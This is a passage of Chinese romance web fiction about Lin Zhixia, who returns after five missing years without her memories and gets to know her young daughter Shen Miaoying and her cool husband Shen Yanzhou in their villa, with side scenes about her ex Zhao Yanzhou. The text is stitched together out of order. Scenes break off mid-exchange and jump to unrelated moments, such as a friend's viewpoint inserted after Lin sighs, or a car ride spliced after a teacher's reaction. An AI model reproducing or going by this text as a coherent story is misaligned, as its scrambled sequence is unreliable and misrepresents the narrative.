听她回应,小姑娘笑起来,嘴角漾起两个小小的梨涡——和林知夏一模一样。 “我就知道我不会认错的,你真的是我妈妈!” 林知夏半蹲下来:“你……知道我长什么样子?” 小姑娘重重点头,满脸骄傲:“当然啦!我的记性可好了,老师们都说我是班里记东西最快的!爸爸给我看过的每一张妈妈的照片,我都记得!” 林知夏的心像是被什么撞了一下。 听姜雨晴说,她失踪的这五年里,几乎所有人都默认她已经不在人世了。 毕竟在这个信息四通八达的现代社会,一个活生生的人凭空消失,五年间杳无音信,任谁都会觉得她存活的几率渺茫到可以忽略不计。 林知夏实在难以想象,沈砚舟是抱着一种怎样的心情和女儿展示她的照片,又是怎么解释她的去向。 但此刻,显然不是追问一个小孩子这些过往的时机。 林知夏掩下心头翻涌的思绪,莞尔笑道:“原来是这样呀。” “对了。”林知夏往小姑娘身后看了看,“你的爸爸没和你在一起吗?” 闻言,小姑娘忽而正色:“没有哦,因为爸爸交给了我一个特别重要的任务,让我必须一个人独立完成!” 林知夏:“是什么任务?” 小姑娘郑重其事地答:“给妈妈介绍家里的家庭成员!” 说着小姑娘挺了挺胸膛,一本正经地开口:“先从我开始!我叫沈妙盈,妙是奇妙的妙,代表我是世界上最最奇妙的小公主!盈是很多很多的意思,就像杯子里装满了甜甜的糖果,我的每一天都是甜滋滋的!” 一长段话说得绘声绘色,连个磕巴都没打,显然已经在各个场合说过无数遍,早就烂熟于心。 “对啦。”自我介绍完,沈妙盈像是又想起了什么重要的事:“爸爸说过,我的名字是妈妈起的!” “妈妈……”圆圆的眼睛期待地看着林知夏,“你还记得吗?” 林知夏:“……” 她的喉咙发紧,“记得”两个字就在嘴边,却怎么也说不出口。 林知夏有些艰难地扬起嘴角:“对不起啊,妈妈有很多事情都不记得了。” 小姑娘的脸上闪过失望。 但很快,沈妙盈又大声说:“没关系的,我一点都不伤心,妈妈你也千万不要伤心!” 像是在宽慰她,又像是在给自己打气。 林知夏莞尔,又觉得鼻酸。 她竟然被自己五岁的女儿安慰了。 林知夏揉了揉小姑娘的头发:“好,妈妈不伤心。” 沈妙盈用力点了点头,很快又想起了另一件事:“对了妈妈,我刚才只介绍了自己,还没有把妹妹介绍给妈妈!” 林知夏听得傻眼。 什么情况?她不是只有一个女儿吗,沈妙盈哪来的妹妹? 难道这五年里,还有别的女人给沈砚舟生了孩子? 林知夏的脑海里一瞬间闪过无数部豪门狗血电视剧的剧情,顿时觉得整个人都不好了。 沈妙盈对于林知夏心中的惊涛骇浪毫无所觉。 小姑娘拉着妈妈的手,穿过一层的客厅和走廊,一路来到某个房间门口。 推开门的刹那,林知夏长舒了一口气。 沈妙盈口中的“妹妹”是一只黑白花纹的奶牛猫,此时正蜷在地毯上打盹。 “这是我的妹妹,安娜!”沈妙盈凑过去,小手轻轻拍了拍猫咪的脑袋。 猫咪懒洋洋地抬起脑袋,蹭了蹭沈妙盈的手心。 林知夏从虚惊一场中缓过神,心有余悸地搭话:“那安娜的名字,也有什么特别的含义吗?” 沈妙盈露出一脸理所当然的神情:“因为我是艾莎公主呀!所以我的妹妹是安娜!” 林知夏想起刚才相册里频繁出现的蓝色蓬蓬裙,恍然大悟。 看来小姑娘的偶像是冰雪女王。 沈妙盈又拉着林知夏在别墅逛了一圈,把遇到的每一个工作人员都介绍给林知夏。 看得出沈妙盈和这里的每个人都相处得很好,打招呼时声音响亮又热情,而每个被小姑娘点到名的工作人员也都会暂时停下手里的事情,温柔回应。 这般社交达人的作风,让林知夏自愧不如。 林知夏数了数,光是此刻在别墅里忙碌的就有一名管家,两名阿姨,以及一名专门负责安保系统的保卫人员,和一名在院子里打理花草的园丁。 整栋别墅由主楼与副楼构成,主楼总共有三层。 沈妙盈精力旺盛得像个小太阳,拉着林知夏从一层的客厅、餐厅,宠物房,逛到二层的儿童房、多功能启蒙室,再到三层的家庭影院。 眼看沈妙盈还要拉着林知夏去别墅外面的花园,负责照顾她的张姨走了过来:“太太,小姐,晚饭已经准备好了,先生已经在餐厅等你们了。” 话音刚落,沈妙盈就兴奋地拉着林知夏的手晃了晃,“太好了,妈妈,我们一起去餐厅找爸爸吧!” 小姑娘看起来雀跃极了,林知夏也只能努力扬起一个笑容:“好啊,走吧。” 天知道,她一点也不想和沈砚舟一起吃晚饭。 她承认,从拿到那本相册到和女儿相处的这段时间,她对这个男人的印象有了不少的改观。 显然,沈砚舟绝对是一个好爸爸,否则即便有其他人辅助,也绝不可能养出沈妙盈这样开朗又大方的性格。 而且她们母女二人第一次见面能这么顺利,一定少不了沈砚舟这个父亲的引导。 不然一个五岁的孩子再聪明懂事,也不可能这么快接受一个五年都没见过的妈妈。 这些林知夏都很感激。 只是……管家退下后,林知夏怔然看着窗外。 她无法控制地去想象,沈砚舟究竟是以怎样的神态和语气,说出的刚才管家转述的那一段话。 在林知夏二十几年的人生中,“家”这个概念只有在八岁前真实地存在过。 那时的她还生活在幸福的泡沫中,天真地以为父母恩爱无间,而她和爸爸妈妈一家三口住的房子就是属于她的小家。 在林知夏的童年记忆里,父母也确实是一对和睦的夫妻,偶尔会有几句无伤大雅的争执,大多数时候家里的气氛都是轻松愉快的。 直到八岁那年,母亲患病,从确诊到离世不到半年的时间。 而她的父亲则在母亲去世的两个月后再娶,次年有了一个儿子,从此林知夏成了那间房子里最多余的人。 一开始她哭过闹过,控诉过,也讨好过。 直到后来她终于想明白:其实从母亲病危的那一刻起,她就已经彻底没有家了。 根据弟弟的出生日期推算,母亲临终前的一个月,父亲的新任妻子就已经怀孕。 成年后林知夏靠着助学贷款搬离了那栋老房子,独自来到千里之外的北城读书,给自己改了母姓,也和父亲那边断了联系。 只是无论是宿舍,还是毕业后她与人合租的房间,也都称不上是“家”。 落地窗外的阳光照进来,刺得林知夏眯了眯眼睛,从回忆里抽神。 这栋别墅……真的可以算是她的家吗? 林知夏很想催眠自己“是”。 毕竟无论沈砚舟说出那番话的初衷是什么,他已经给足了她面子,她只要顺水推舟地接受就好。 可连养育了她八年的生父都能眼睁睁看着她无家可归,她又怎么能寄希望于一个她根本不了解的男人。 林知夏强迫自己从情绪中抽离,思考下一步做什么。 作为一个失踪了五年的人,她的身份证即将过期,很多账号也被冻结。 好消息是,她的身份并没有被注销,法律上也没有被认定为死亡。 林知夏查了法律条文,发现像她这样的情况,失踪满四年后,配偶就可以向法院申请宣告她死亡。 按理说沈砚舟一年前就可以为她办理死亡证明,之后顺理成章地恢复单身,无论是法理还是情理上都不会有任何人指摘他。 毕竟连她那位迅速再娶的父亲,都有无数亲朋好友为他辩驳:一个男人带着女儿过日子不容易,缘分来了谁也拦不住。 不知是什么原因,沈砚舟没有这样做。 因此林知夏只要等待相关手续全部办好,再去换一个新的身份证,就可以恢复正常的生活。 想了想,林知夏先上楼回了房间,拿出手机。 卡槽可以放两张卡,刚好够放她原先的号码和新号。 插好卡后林知夏先是登录了微信。 粗略翻了下通讯录,和她记忆里差别不大,多数是曾经的中学和大学同学,多出来的那些人里也没有特别让她注意的。 只有“沈砚舟”三个字让林知夏的手指略微顿了下,点进去后不出所料,朋友圈一片空白。 林知夏又点开了自己的朋友圈。 点进去时她没抱太大希望,在看到婚后自己的确一条朋友圈都没发后,她叹了口气。 该说不说,就不爱发朋友圈这一点来说,她和沈砚舟还挺般配的。 这可能是她和他为数不多的相似之处。 姜雨晴的朋友圈倒是十分丰富,这七年里发了不少动态,滑了好几下都没能滑到底。 林知夏决定挑个良辰吉日再仔细欣赏,就当是浅浅地弥补一下这几年没能陪好友一起度过遗憾。 退出姜雨晴的朋友圈,林知夏迟疑了片刻,把好友列表的首字母滑到“Z”。 有几个姓赵的同学,没有赵延舟。 她又搜索了下赵延舟的手机号,也没有结果。 林知夏吐出一口气。好友叹了口气。 从前他不信“一物降一物”的说法,可亲眼见证了赵延舟和林知夏的这段孽缘后,算是彻底信了。 当年赵延舟和林知夏谈恋爱,他们一帮兄弟都是见证者。 眼睁睁看着赵延舟一个玩世不恭的公子哥,谈恋爱后跟变了个人似的,每次和他们这群兄弟出来玩,第一件事就是掏出手机拍遍全场,向女朋友报备。 后来两人分手,林知夏成了沈太太,赵延舟依旧对她念念不忘。 再后来,林知夏失踪,所有人都以为时间会冲淡一切。 谁能想到,赵延舟这些年来不仅再没谈过恋爱,就连父母给安排的相亲对象都不肯见,像是对女人完全没了兴趣。 唯有和林知夏相关的消息,才能在这潭死水中激起浪花来。 “不仅是找到了。”好友观察着赵延舟的表情,刻意放轻了声音,“据说……人已经被带回了沈家。” 赵延舟一言不发地听着,指节因过度用力而泛起青白,几乎将手中的烟捏断。 这副神色尽数落在好友眼中,半晌,好友不忍劝道:“延舟,你明知道她已经和其他人结婚生子。就算失踪五年回来,也改变不了这个事实。” 闻言赵延舟终于掀起眼皮,嘴角勾起一抹嘲讽的弧度:“你觉得我在乎?” 理智知道赵延舟这个人如今已经和她没有任何关系,她也早就下定决心不会去联系他。 但要说完全对赵延舟的现状不好奇不在意,那是在骗自己。 如今发现赵延舟的联系方式已经被当初的自己删得干干净净,林知夏说不清是什么心情。 整理好思绪,林知夏退出微信,下载了一个手机银行。 登录进自己的银行账号后,里面的余额数字让她下意识屏住了呼吸。 林知夏的心脏怦怦直跳,又数了一遍数字的位数。 真的是小数点前七位数。 她承认自己眼界小,这些钱对于豪门来说可能是九牛一毛,可现在它是千真万确地出现在了她的个人账户名下。 既然沈砚舟让管家把这张卡交给她,那么她是不是可以认为,卡里的钱即便她离婚也可以带走? 自从发现自己来到七年后,林知夏第一次发自内心地觉得,自己好像也没有那么想回去了。 林知夏用了好几分钟来平复心情,近乎虔诚地把这张银行卡收好。 走出卧室时,脚步依旧有些飘。 恍惚抬起头,林知夏发现自己不知不觉来到了书房的门前。 犹豫了几秒钟,她还是推开门走了进去。 既然沈砚舟都发话她可以随意进出家里的房间了,她为什么不去看看? 书房的采光很好,阳光透过窗户铺洒进来,将整个空间衬得格外明亮。 房间从装修到家具都是古典风格,雅致沉稳,很适合静心阅读。 唯独窗台上,几盆多肉长势鲜活,花盆鲜艳的色调与整个房间格格不入。 林知夏怔住,心头浮起一个猜测,却又不敢确认。 她走上前,轻轻捧起其中一盆。 记忆如潮水般涌来。 二十二岁时她刚刚毕业,北城寸土寸金,林知夏的工资只够在地铁站附近租下一间狭小的次卧。 即便如此,二十几年来第一次拥有独立的房间,也让她兴奋不已。 拿到钥匙的当天下午,她迫不及待地跑去花卉市场买了好几盆多肉,用颜料一笔一画在花盆上绘下图案,摆在出租屋狭窄的窗台。 而此时此刻,当初她满怀着对未来憧憬捧回的多肉,竟如同穿越了八年的漫长时光,完好如初地出现在沈砚舟的书房。 好父亲和好丈夫,从来都是完全不同的两个角色。 林知夏定了定神:“是。” 话音落下,沈砚舟的唇边溢出一声极为短促的,像是嗤笑的气音。 他看着她,眼底翻涌着她读不懂的情绪:“听他们说找到了你,我没敢睡觉,坐了十个小时的飞机赶回来。” “除了赵延舟,你就没有什么想问我的?” 林知夏被问得怔住,摸不透他这突如其来的质问从何而来。 若是其他沉不住气的普通男人,她或许还能理解成是吃醋,可沈砚舟显然不是这样的人。 林知夏只觉得眼前的局面越发脱离掌控。 她对面前的这个男人几乎一无所知,猜不透他的心思,甚至连他对自己“死而复生”究竟是喜是悲,都无从判断。 更不知道该如何回答他的问题。 度秒如年的安静过后,男人的嘴角忽然又极其轻微地勾了勾,像是在笑。 “没什么。”沈砚舟温声道,“你好好休息,有事叫杨管家。” 男人的语气可以称得上是温柔,仿佛刚才的冷声质问是她的幻觉。 林知夏脱口而出:“那你呢?” 沈砚舟:“去幼儿园,接我们的女儿回家。” 林知夏茫然看着男人的身影消失在楼梯转角。 不知过了多久,她才回过神来。 她早猜到沈砚舟不会好相处,却没想到他如此喜怒不定。 半晌,林知夏望着空荡荡的门口,终于忍不住对着空气低咒。 “这人是不是有病?” 林知夏皱眉:“你能不能再说一遍,他叫什么?” “你说你老公的名字?”姜雨晴有些疑惑,但还是答,“沈砚舟呀。” 林知夏喃喃重复了几遍这三个字,身体猛地僵住。 和赵延舟谈恋爱时,赵延舟常提起他有两个从小玩到大,关系非常铁的发小,其中一位似乎就姓沈。 只是赵延舟提起这位发小时鲜少称呼全名,林知夏第一时间没能想起来。 听林知夏许久不说话,姜雨晴担忧地问:“夏夏,你没事吧?” 林知夏如梦初醒:“没,那个,雨晴,我有没有和你说过,我为什么会和沈……沈砚舟在一起?” 姜雨晴思忖道:“说过一点,好像他原本是赵延舟的朋友,后来你和赵延舟分手后,他帮了你一些忙,慢慢你们就走得近了。” 林知夏闭上眼睛,深深吐出一口气。 不是她记错了,也不是同名同姓的巧合。 真的是她知道的那个沈砚舟。 那个记忆中只和她见过一面,赵延舟口中关系十分密切的发小。 再次睁开双眼时,林知夏问:“那你知不知道,我和赵延舟为什么会分手?” 第 64 章 第六十四章 第二天,林知夏是被敲门声吵醒的。 “妈妈,妈妈你醒了吗?” 林知夏揉着眼睛,扯开被子看了眼身上的睡衣还算整齐,下床开了门。 门外沈妙盈仰着脑袋看她:“妈妈,已经十一点钟啦,阿姨的午饭都快要做好了,你怎么还没起床呀?” 林知夏怔了下,想起今天是星期六,所以沈妙盈没去幼儿园。 “妈妈昨天没太睡好。”林知夏说,“所以起得晚了。” 半夜一直在做梦,这会儿脑袋还有点昏沉沉的。 沈妙盈思考了两秒钟,歪了歪脑袋:“那妈妈要再睡一会儿吗?” 林知夏摇头:“妈妈现在起来。” 沈妙盈:“好!” 林知夏被她干劲满满的样子逗笑了:“你要陪妈妈一起刷牙洗脸吗?” 沈妙盈不假思索地点头:“好呀,我可以陪妈妈聊天,这样妈妈刷牙的时候就不会觉得无聊了。” 林知夏失笑:看来在沈妙盈看来,刷牙一定是件非常无聊的事情。 她记得她小时候也讨厌刷牙,也许小孩子都这样? 沈妙盈像个小尾巴似的跟在林知夏身后,两人一起进了浴室。 她似乎很少进来这个房间,一双圆溜溜的眼睛好奇地转来转去。 林知夏刚把牙膏挤在牙刷上,就听见身后沈妙盈问:“妈妈,你每天都是自己一个人洗澡吗?” 刚睡醒脑子有些迟钝,林知夏没意识到这话的言外之意,回:“是呀,妈妈是大人了,可以自己洗澡。” 沈妙盈:“我的意思是,妈妈你为什么不和爸爸一起洗澡呢?” 林知夏手一抖,牙膏掉在了水池边:“什么?” 沈妙盈完全没觉得自己说了什么惊世骇俗之语,一本正经道:“朱浩然的爸爸妈妈就经常一起洗澡,有时候还会边洗澡边打架,这是朱浩然亲口说的,我们班的小朋友都知道!” 林知夏:“……” 她差点没忍住扶额,在心里默默为朱浩然小朋友的父母默哀:这可真是大型社会性死亡现场。 小孩子太可怕了,什么都往外说。 以后她要是和沈砚舟在别墅里做些什么,千万得避开沈妙盈。 等等,为什么她会产生“和沈砚舟做些什么”的念头? 林知夏赶紧把这不着边际的想法压了下去,清了清嗓子:“每个人的习惯不一样,妈妈比较喜欢一个人。” 沈妙盈“哦”了一声。 看样子这个问题暂时是过去了,林知夏松了口气,重新挤了条牙膏。 为了避免沈妙盈接下来又问出什么譬如“爸爸妈妈怎么不一起睡觉”的问题,林知夏赶紧开启新话题:“对了,你今天上午都做了些什么?趁妈妈洗漱,和妈妈说一说好不好?” 沈妙盈果然被转移了注意力,掰着手指如数家珍:“早上起床后,我先刷牙和洗脸,然后和爸爸一起吃了早餐,然后爸爸给我读了绘本,我陪爸爸玩了玩具,再然后爸爸问我想不想妈妈,我就上来找妈妈啦。” 林知夏微怔:“是爸爸让你来的?” 沈妙盈:“嗯!爸爸说让我看看妈妈醒了没有,如果醒了就叫妈妈下楼一起吃午饭。” 说完想了一下,沈妙盈又郑重其事地补充:“不过我自己也很想来找妈妈!” 林知夏:“……” 一瞬间,她觉得沈砚舟像是在用一种委婉的方式向她示好,希望她能忘记昨晚的不愉快。 很快她又觉得她是在自作多情。 沈砚舟是什么人,怎么可能以这样的姿态向她低头。 一边刷牙,林知夏一边问沈妙盈:“一会儿吃完午饭,你下午准备做些什么呀?” 沈妙盈:“下午我要去上体能课,爸爸会陪我一起去!” 林知夏:“体能课?”林知夏答应了沈妙盈,要给沈砚舟准备生日礼物。 这对她来说是个很头痛的任务,幸好离真正生日那天还有一阵子,她有时间慢慢思考。 看了眼窗外,沈砚舟依旧在接电话。 男人的面色冷峻,也不知道是不是工作上遇到了棘手的事。 林知夏暂且把这个麻烦事丢在脑后,和沈妙盈玩闹了一会儿。 小姑娘的脸蛋肉嘟嘟的,看起来就让人忍不住想上手。 林知夏忍了这么久,终于难以抵抗诱惑,捧着小姑娘的脸蛋揉捏起来。 沈妙盈被揉得话都说不清了:“妈——妈,你好fai——” 林知夏笑眼弯弯:“好什么?” “好坏!”沈妙盈气鼓鼓地重复,“妈妈你这样揉,我都说不清楚话了!” 林知夏做出一副为难的表情:“可是……我们盈盈小公主的脸蛋实在是太好揉了,怎么办?” 沈妙盈:“那也不能只有妈妈揉我的脸,不公平!” 林知夏假装思考了几秒:“好吧,那妈妈也让你揉,来吧!” 沈妙盈是一个绝对不会和人客气的小姑娘,妈妈这么说了,她立刻当仁不让地伸出小胖手。 林知夏没躲,任由脸颊被热乎乎的小手覆盖。 沈妙盈揉了两下,立刻忘记了刚才自己是怎么被“欺负”的,眉开眼笑:“妈妈,你的脸蛋也好好揉揉哦,软软的!” “妈妈。”沈妙盈又突发奇想地问,“是不是只有我揉过你的脸呀?” 林知夏眨了眨眼睛。沈妙盈蹦蹦跳跳地走在前面,时不时回头看一眼妈妈有没有跟上来。 爸爸说了,今天妈妈是第一次见到她,可能会有点害羞。 而她都已经认识妈妈好几年了,所以她要更主动一些! 爸爸给她看过妈妈的照片,每一张里面妈妈都特别漂亮,和今天见到的妈妈一样。 每年妈妈的生日,爸爸还会和她一起给妈妈准备礼物。 不过爸爸说礼物的事情不能提前告诉妈妈,要等妈妈过生日的那天给妈妈一个惊喜。 她最擅长保守秘密了,绝对不会提前说漏嘴! 餐厅在别墅的一层,林知夏跟着沈妙盈走进来时,看到沈砚舟正坐在餐桌旁。 见到两人,男人自然地站起身。 下一秒,沈妙盈就加快步伐飞扑了过去,给了沈砚舟一个大大的拥抱:“爸爸!” 沈砚舟蹲下摸了摸女儿的头发:“爸爸交给你的任务,完成了吗?” “当然啦!”沈妙盈仰着小脸,邀功似的说道,“我把家里见到的每个人都介绍给妈妈了,还有安娜!” 和爸爸说过话,沈妙盈又向林知夏发出了热情的邀请:“妈妈,爸爸平常都坐在我的对面,你坐在我的旁边好不好?” 林知夏:“好呀。” 除此之外,似乎也没有其他更合适的位置。 沈妙盈的餐椅和其他椅子外形明显不一样,是天蓝色的,上面还贴了艾莎公主的贴纸。 林知夏在这把椅子的旁边坐下。 开饭之前林知夏还在担心,万一她和沈砚舟之间的气氛像上次在卧室里那样僵硬,小孩子会不会察觉到不对劲。 幸好一顿晚饭下来,大部分时间里都是沈妙盈在滔滔不绝地讲幼儿园里发生的事:上午和小朋友一起搭了城堡,中午喝了喜欢的南瓜粥…… 小姑娘很懂得“雨露均沾”,如果前几句是对着爸爸说的,后一句就会转向林知夏,以“妈妈你知道吗”开头,把话题引到她身上。 林知夏不需要说太多,只要做个合格的捧哏,偶尔应一句“是吗”“真厉害呀”,就能让小姑娘说得更起劲。 如果忽略她和沈砚舟之间几乎没有任何眼神交流,也没有一句对话的话,这顿饭的场面其实算得上和谐。 晚餐结束,专门负责照顾沈妙盈的张姨过来,领着沈妙盈去多功能启蒙室上课。 林知夏听明白了,沈妙盈应该是有一份完整的日程表,每天饭后这段时间都有不同的安排,今天是总共一个小时的英语读写和动画片。 不愧是豪门,从五岁就开始接受精英教育。 上课之前,沈妙盈分别给了爸爸妈妈一个拥抱。 “妈妈。”沈妙盈握着林知夏的手拍了拍,“等我上完课以后再来找你,你乖乖地等着我哦。” 语气和动作像极了一个小大人,林知夏猜测,可能平常张姨就是这么对沈妙盈说话的。 林知夏笑着点头,颇有些不舍地看着沈妙盈离开。 除了舍不得自己的女儿之外,还因为沈妙盈走了之后,餐厅里就只剩下她和沈砚舟两个人了。 上次和沈砚舟单独相处时,男人的喜怒不定还历历在目。 为避免说多错多,林知夏决定这次等沈砚舟先开口。 她不动声色地观察对面的男人,他的身姿挺拔如松,穿着一件深色的衬衫,袖口挽到小臂,露出流畅的肌肉线条。 林知夏能清晰地感受到,男人的目光也正落在自己身上。 她的心里绷紧了弦,打起十二分精神。 如果有仪器能统计,那么和沈砚舟相处时,她的脑细胞消耗率绝对是平常的好几倍。 空气安静了不知道多久。 就在林知夏快要按捺不住的时候,沈砚舟终于开口:“你好像有话对我说?现在这里没有其他人,你想问什么都可以问。” 林知夏:“……”晚饭过后,张姨照例领沈妙盈去了启蒙室。 林知夏回到房间,打开微信。 她本来朋友就不多,七年过去还能联系的就更少。 幸好姜雨晴告诉她,她失踪的事情在同学之间没有传开,大家都以为她只是这些年都很低调而已。 加上以前林知夏也几乎不发朋友圈,更加没人觉得奇怪。 偶尔有熟人向姜雨晴打听她的近况,姜雨晴都帮她搪塞了过去。 “要是真说你失踪了,他们肯定要疯狂问东问西的,麻烦死了。”姜雨晴说,“再说我也不想你变成他们茶余饭后的谈资。” 托姜雨晴的福,林知夏不用担心哪天万一在路上遇到熟人,会被当成是撞到鬼了。 林知夏往下随意刷着朋友圈,没有特别的目的,就是想看看这些年大家都在做什么。 时间是个神奇的东西,林知夏惊讶地发现,当年班里坚决表示自己是丁克的同学居然在几年前结婚生子,现在经常晒孩子的照片。 还有当年坚决要考公的同学,如今辞掉了体制内的工作,正在创业。 也有好几个出国的,时不时晒一下国外的山川美景。 林知夏翻着翻着,忽然觉得有些迷茫。 她今后要做些什么呢? 当年林知夏读本科时成绩不错,毕业时没费太多周折就找到了工作,是一家待遇不错的大公司。 假如她按部就班地上班,没有失踪那么多年,那如今的工资应该还挺可观的。 可一切没有假如,以她现在的情况,如果写一份简历去找工作,估计连拿到面试机会都困难。 林知夏长长地叹了一口气,决定这些事情还是以后慢慢想吧。 至少在沈砚舟给了她那张银行卡后,很长一段时间里她都不用再为钱发愁了。 晚上八点五十,林知夏去儿童房和沈妙盈道了晚安。 有了昨晚的经验,林知夏觉得自己的心态提升了不少,可以镇定自若地和沈砚舟先后在小姑娘的脑门上印下晚安吻。 不知是不是已经开始习惯新的生活,这天晚上林知夏睡得比前一天要安稳许多。 神清气爽地起床,洗漱过后竟然才七点多。 这个时间出去可能会遇到沈砚舟,但林知夏又禁不住诱惑,想看看沈妙盈小朋友早上起床是什么样子的。 纠结再三,她还是下楼了。 餐厅里,沈妙盈小朋友的早餐时间刚好进行到了尾声,旁边张姨正在用餐巾帮她擦嘴巴。 餐桌另一边,沈砚舟正慢条斯理地喝着咖啡。 看到妈妈后沈妙盈兴奋道:“哇,妈妈你今天起得好早哦!” 林知夏笑着点点头,忽视了一旁的男人。 反正他好像也没有要和她打招呼的意思。 沈妙盈的眼睛转了转,像是想到了什么好主意:“妈妈,今天可不可以你来帮我扎头发呀!” 林知夏一怔,接着听到不远处的男人说:“妈妈还没吃早餐呢。” 她惊讶又有些感激地看了沈砚舟一眼:她没想到他会帮她说话。 听到爸爸这么说,沈妙盈拉长调子“哦”了一声:“好吧。” 虽然努力掩饰,但看起来依旧有些失望的样子。 林知夏:“……” 脑子一热,她开口:“没关系的,妈妈可以先给你梳头发再吃饭。” 话音刚落林知夏其实就后悔了,她怎么就突然间母爱大爆发,一时嘴快答应下来了呢。 她从来没给小朋友扎过辫子。 但想把话收回去已经来不及了,因为沈妙盈立刻欢呼了起来:“好耶,妈妈万岁!” 张姨推来了放着各种各样头绳,发卡和梳子的小推车:不愧是豪门小公主,有专门用来做造型的小车车,还是艾莎公主配色。 不用别人催促,沈妙盈已经非常期待地在椅子上坐直了身体:“妈妈你快来呀,我准备好啦!” 林知夏无声地握了握拳,自己答应的事情,硬着头皮也要上。 她没给小孩子扎过头发,但还是经常给自己扎的,应该也……没那么难吧? 这样想着,她从小推车里拿出一根橡皮筋,又挑了一把看起来最普通的梳子,站到沈妙盈的身后。 小朋友的头发细细软软的,林知夏看了半天都不太敢下手,怕自己一不小心弄疼了她。 无意识抬起头,正巧和餐桌对面沈砚舟的视线撞了个正着。 猝不及防的四目相接,林知夏心头一跳,像是被烫到了似的迅速收回目光。 手一下子没稳住,捏在指尖的发圈掉了下去。 林知夏急忙弯腰去捞,耳畔飘来一声低沉的轻笑。 想在和沈砚舟的对话中掌握主动权,似乎是她的痴心妄想。 林知夏想了想,先问了个迫在眉睫的问题:“今天晚上,我还在之前的那个房间休息?” 晚饭前林知夏特意观察过,白天她待的那间卧室是副卧,旁边的主卧才是沈砚舟平常休息的房间。 沈砚舟的眼神微凝,静默地看着她。 林知夏的心脏跟着收紧:他不会说什么他们是夫妻,所以理应同床共枕之类的话吧? 幸好男人只是略微沉默了两秒:“嗯,有什么需要添置的,可以和管家说。” 林知夏松了口气:“好。” 虽然她觉得沈砚舟应该也不想和她睡在一起,但得到确切的答案后还是踏实不少。 只要不用和这个男人一起睡,她实在没什么好挑剔的:这栋别墅里的任何一个房间,都比她从前住过的所有地方要好得多。 “还有什么事吗?”沈砚舟又问,平静地看着她,像是在等着她继续提问。 林知夏在心里回答他:这不是废话吗? 七年的空白,她有一肚子的问题想问—— 她和赵延舟是怎么分手的,他对她是他发小前女友这件事怎么看,两个人又到底是怎么结婚的? 可林知夏不傻:如果沈砚舟打算和她坦白真相,那么从两人见面到现在,他有很多机会可以主动说明一切。 她刚失忆醒来时,管家和周围人的闪烁其词,已经足以说明他的态度。 她想问的那些问题……真的能在沈砚舟这里得到真实的答案吗? 无数想法在脑海里交织。 片刻,林知夏斟酌着开口:“如果你对我们的婚姻有什么新的规划……可以告诉我,说不定我能配合你。” 之前“沈妙盈有妹妹”的事情虽然是个误会,还是让林知夏敲响了警钟:离不离婚这事,不是她一个人说了算的。 她权衡利弊后觉得暂时维持现状最好,但说不准沈砚舟不这么想呢? 五年能发生的事情太多,搞不好沈砚舟都已经另外找好新老婆的人选了。 结果她这个“死人”突然活了过来,这不是坏了人家的好事吗? 如果沈砚舟打算和她离婚,林知夏觉得自己还是早知道,早做准备比较好。 为了钱厚着脸皮赖在别人家里不走,这种事这辈子经历一次就已经足够,她不想再来第二次。 原本就微妙的气氛,在林知夏这句话说出口的瞬间变得更加冰冷。 沈砚舟看着她的眼神沉了沉,一双深邃的眼眸黑如深潭,让林知夏心里发慌。 半晌,沈砚舟冷冷吐出几个字:“我从来没想过离婚。” 真是个好问题,其实不是。 不过她既不想骗女儿,也不想被追问另一个人究竟是谁。 想了想后林知夏回道:“我们拉钩钩,今后就只有盈盈宝贝一个人可以揉妈妈的脸,好不好?” 沈妙盈果然忘记了先前的问题,开心地答应了:“好,拉钩钩!” 一大一小两只手的小手指勾上。 正式拉钩之前,沈妙盈突然又补充:“不过我也不是那么小气的人啦,公主都是很大方的!” 林知夏一时没明白:“嗯?” 沈妙盈十分宽宏大量地说:“除了我,我允许爸爸也可以揉妈妈的脸!” 林知夏啼笑皆非:小姑娘可真是她爸爸的好闺女。 幸好只是“允许”,没有要求立刻执行,林知夏就由着她去了。 沈妙盈牵着妈妈的手晃,口中念念有词:“拉钩,上吊,一百年不许变,变了就永远没有甜甜的糖果可以吃!” 拉钩完毕,沈妙盈心满意足放下妈妈的手。 脚步声响起,林知夏抬眸,发现沈砚舟接完电话回来了。 幼稚的行为被抓包,林知夏轻咳了一声,正色:“是公司里有急事吗?需要的话你可以先忙,我单独带一会儿妙盈。” 沈砚舟:“不用。” 男人的神色平淡,语气波澜不惊:“骗子打来的,已经拉黑了。” 林知夏的眉心跳了下。明明是正常的介绍,林知夏听着还是有点不自在。 这是第一次,沈砚舟在外人面前点名她的身份。 林知夏冲老师点点头,微笑。 老师愣了一秒。 真的假的,骗子?林知夏坐在董叔的车上,前往和姜雨晴会合。 今天要去的商场离别墅有近一个小时的车程,位于近些年才发展起来的北城新兴商圈。 其实姜雨晴现在住的地址离林知夏不算太远,两人周围十公里内有不少更近的商场可供选择。 不过据姜雨晴说,这家新开的商场地方虽然离核心城区稍微远了些,但胜在面积大,设施新,商户规划合理,开业后的口碑非常不错,所以她一直想去一探究竟。 这也是林知夏一开始想自己打车的原因:这么远的地方,平白给董叔增加了许多工作量。 关于中午去哪家餐厅吃饭,姜雨晴已经提前定了几个候选,今天上午刚发到林知夏的微信上。 一路上林知夏都在研究这些餐厅,终于在快到的时候选定一家。 两人直接约在了餐厅见面。 餐厅门口,姜雨晴先一步认出了林知夏。 “夏夏,天啊。”姜雨晴一脸惊异地走上前,对着眼前的这张脸仔细端详。 “这几天光和你在电话和微信上聊,我还一直有种不真实的感觉。”姜雨晴叹道,“现在我是完全相信了,你这真是掉进时空裂隙了吧?” 和学生时代几乎没差的表情和语气,一瞬间将林知夏拉回了七年前。 林知夏笑笑:“可能是吧。”在那双漆黑眼眸的注视下,林知夏觉得自己像是溺在了深不见底的幽潭之中,连呼吸都变得滞涩。 下意识想躲,可后背早已死死抵着座椅,退无可退。 或许是她的惶惑太过明显,几秒过后,那道几乎令她窒息的视线移开了。 林知夏张了张唇,被男人抢先一步。 沈砚舟:“回家吧。” 他压低了嗓音,带着丝安抚的味道,乍一听竟像是在哄人。 林知夏吐出一口气,心脏却依旧像是被什么东西攥着,说不清得发紧。 沈砚舟没再多言,踩下油门。 “不行。”姜雨晴目不转睛,“我得再多看几眼,这简直是奇迹。” 林知夏:“不先拿号?” “哦对对……”姜雨晴说,“差点忘了,这家没有网上排号,只能现场拿。” 姜雨晴还和从前一样风风火火,说完就去找服务生领号。 回来时姜雨晴拿着排号条,嘴里念叨:“咱们前面有四桌,估计要等个十分钟。幸好我那位老板看在我前段时间勤勤恳恳加班的份上,批了我的假,不然周末来排队的人更多。” 林知夏:“你老板很不好说话?” 